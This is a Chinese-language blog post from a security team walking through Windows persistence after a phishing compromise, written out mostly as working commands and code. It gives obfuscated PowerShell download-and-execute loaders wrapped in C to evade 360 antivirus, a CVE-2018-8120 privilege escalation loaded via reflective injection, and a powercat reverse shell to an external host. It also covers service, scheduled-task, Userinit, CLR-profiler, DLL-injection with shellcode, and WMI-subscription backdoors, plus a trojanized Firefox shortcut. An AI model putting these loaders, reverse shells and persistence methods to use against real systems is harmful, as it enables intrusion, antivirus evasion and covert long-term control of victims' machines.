美文网首页技术篇TIDE_网络安全测试
内网渗透-windows持久性后门

内网渗透-windows持久性后门

作者: Tide_诺言 | 来源:发表于2020-03-18 23:32 被阅读0次

    1、前言

    前不久进行了一次钓鱼,对方电脑是win7系统,加上有杀软,最后因为电脑关机,失去了权限。整理下从木马上线到快速建立后门的方法。

    2、本地实验环境

    基于之前失败的经历,搭建本地实验环境。
    操作系统: win7 x64
    安装防护: 360安全卫士+360杀毒
    权限:普通用户权限
    补丁数量:3个

    3、木马免杀

    首先需要一个可以过360卫士+杀毒的免杀木马,需要平时对免杀有一定积累,能过360全家桶的方法有很多,使用之前介绍过的powershell拆分免杀。(免杀失效的话需要进行进一步混淆)

    powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)
    

    使用c语言的system函数去执行powershell。

    #include<stdio.h>
    #include<stdlib.h>
    int main(){
    system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
    return 0;
    }
    

    编译为exe文件,达到免杀的目的。


    4、权限提升

    使用的是cs生成的木马,权限为普通用户权限。
    修改注册表,注册系统服务等等操作,都需要要管理员权限,需要进行提权。
    靶机操作系统为win7,几乎没打任何安全补丁,打算使用windows内核漏洞进行提权。
    尝试使用cs自带的提权,因为360全家桶的原因失败。



    准备使用powershell进行免杀提权。
    显示powershell.exe拒绝访问。



    发现powershell.exe被加入黑名单阻止运行了。

    遇到这种情况,可以自己上传相同版本的powershell.exe到可写目录下。
    C:\Windows\Temp
    

    上传到windows的临时文件夹。
    成功绕过360限制调用powershell。



    使用powershell免杀提权,360只会检测poweshell的前半部分,把恶意powershll代码放在合法代码后面绕过检测,Invoke-ReflectivePEInjection.ps1可以远程加载exe,-ExeArgs执行cs反弹木马。

    C:\Windows\Temp\powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/ps/cve-2018-8120.exe  -ExeArgs '"C:\Windows\Temp\123.exe"' -ForceASLR"
    

    成功获取到system权限会话。


    5、建立持久性后门

    成功获得system权限,开始尝试建立持久性后门。
    cs自带了Desktop功能,可以实时查看当前用户的桌面,还可以进行远程操控,如何杀软不拦截的话,可以手动退出杀软,电脑一直有人使用的话,这种方法就不适用了~


    5.1、建立系统服务

    获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。
    1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。

    sc create "nuoyan" binpath= "c:\accc.exe"
    sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
    设置为自动运行
    sc config "服务名" start= auto
    删除服务。
    sc delete "服务名"
    


    2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。

    powershell.exe new-service –Name nuoyani  –BinaryPathName "C:\WINDOWS\Temp\360.exe" –StartupType Automatic
    
    $c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)
    

    多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。

    5.2、注册表运行键

    5.2.1、userinit注册表后门

    在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。
    使用powershell命令对键值进行修改。

    powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe  IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
    

    使用cs实际执行时发现几个坑点:
    1、直接执行powershell命提示找不到实际参数。




    解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。


    2、cs执行失败(原因未知)
    首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)
    当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。




    本地执行ps1文件,可以正常执行成功。




    尝试反弹shell到vps上,可以成功运行ps1脚本。
    powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd
    

    开启360进行测试,无法绕过360增加userinit注册表后门。


    5.2.2 CLR后门

    全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,够劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。
    1、首先准备dll后门文件,区分32和64位。
    可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。



    2、修改当前用户的环境变量。
    可以使用wmi进行修改

    wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
    wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"
    

    或者使用powershell修改

    New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
    New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null
    

    3、执行reg add修改注册表键值。
    32位系统

    REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
    REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
    

    dll分为32和64,
    64位系统需要同时修改32和64的注册表键值。

    REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide64.dll" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
    REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
    REG ADD "HKCU\Software\Classes\WoW6432Node\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tidd32.dll" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
    REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
    

    4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。




    无法绕过360。
    使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。



    还有持久性后门都是对注册表进行操作,都无法绕过杀软。

    5.3、计划任务

    管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。
    上传免杀的exe木马,执行命令。

    schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe  /SC ONLOGON /F /RL HIGHEST
    

    360能够拦截相关行为。


    5.4、dll后门

    将恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。

    团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。
    直接使用自动化dll注入工具,输入shellcode自动生成dll文件。


    使用cs自动生成的shellcode,可以提取免杀exe的shellcode。

    生成dll文件。
    image.png
    把生成的dll文件和conf.inf放入到KK.exe的同级目录下。

    选择生成的dll和kk.exe

    运行kk.exe ,cs成功上线。
    重启电脑后,启动kk.exe可以上线。

    实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。
    可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。

    当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。

    360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。
    \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00
    

    自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。https://www.freebuf.com/articles/system/228233.html
    工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
    提取码:c29j

    5.5、WMI后门

    wmi触发器

    wmi事件的基础:
    1、事件筛选器
    事件筛选器描述事件并且执行WQL事件查询。
    2、事件消费者
    事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:
    ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
    CommandLineEventConsumer - 执行一个命令行程序
    3、消费者绑定筛选器
    消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。

    实例代码

    事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。

    $fname = "cccc"
    $cname = "cccc"
    $CommandLineTemplate = "C:\Windows\temp\tide.exe"
    $query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
    $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }
    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null
    

    当计算机重启后一段事件cs成功接收到2个会话信息。
    可以根据实际需要选择合适的事件筛选器。
    系统每过60秒触发一次事件消费者。

    SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'   
    

    当运行计算器后触发,且每5秒触发一次事件消费者。

    SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'
    

    使用Autoruns查看和删除WMI数据库的内容。


    360可以拦截到WMI相关行为。

    6、 伪装常用应用程序

    替换目标常用快捷方式指向的exe文件。
    查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe
    编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。
    也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。


    #include<stdio.h>
    #include<stdlib.h>
    int main(){
    system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
    system("C:\\Windows\\Temp\\tide.exe");
    return 0;
    }
    

    使用Restorator修改exe文件图标。



    当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。


    7、总结

    本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。

    参考文章

    http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/
    https://www.freebuf.com/sectool/157952.html
    https://www.cnblogs.com/-qing-/p/10964486.html
    https://yq.aliyun.com/articles/215002
    https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
    https://www.freebuf.com/column/165235.html
    https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md
    https://3gstudent.github.io/
    https://www.freebuf.com/articles/system/228233.html

    相关文章

      网友评论

        本文标题:内网渗透-windows持久性后门

        本文链接:https://www.haomeiwen.com/subject/kfgbchtx.html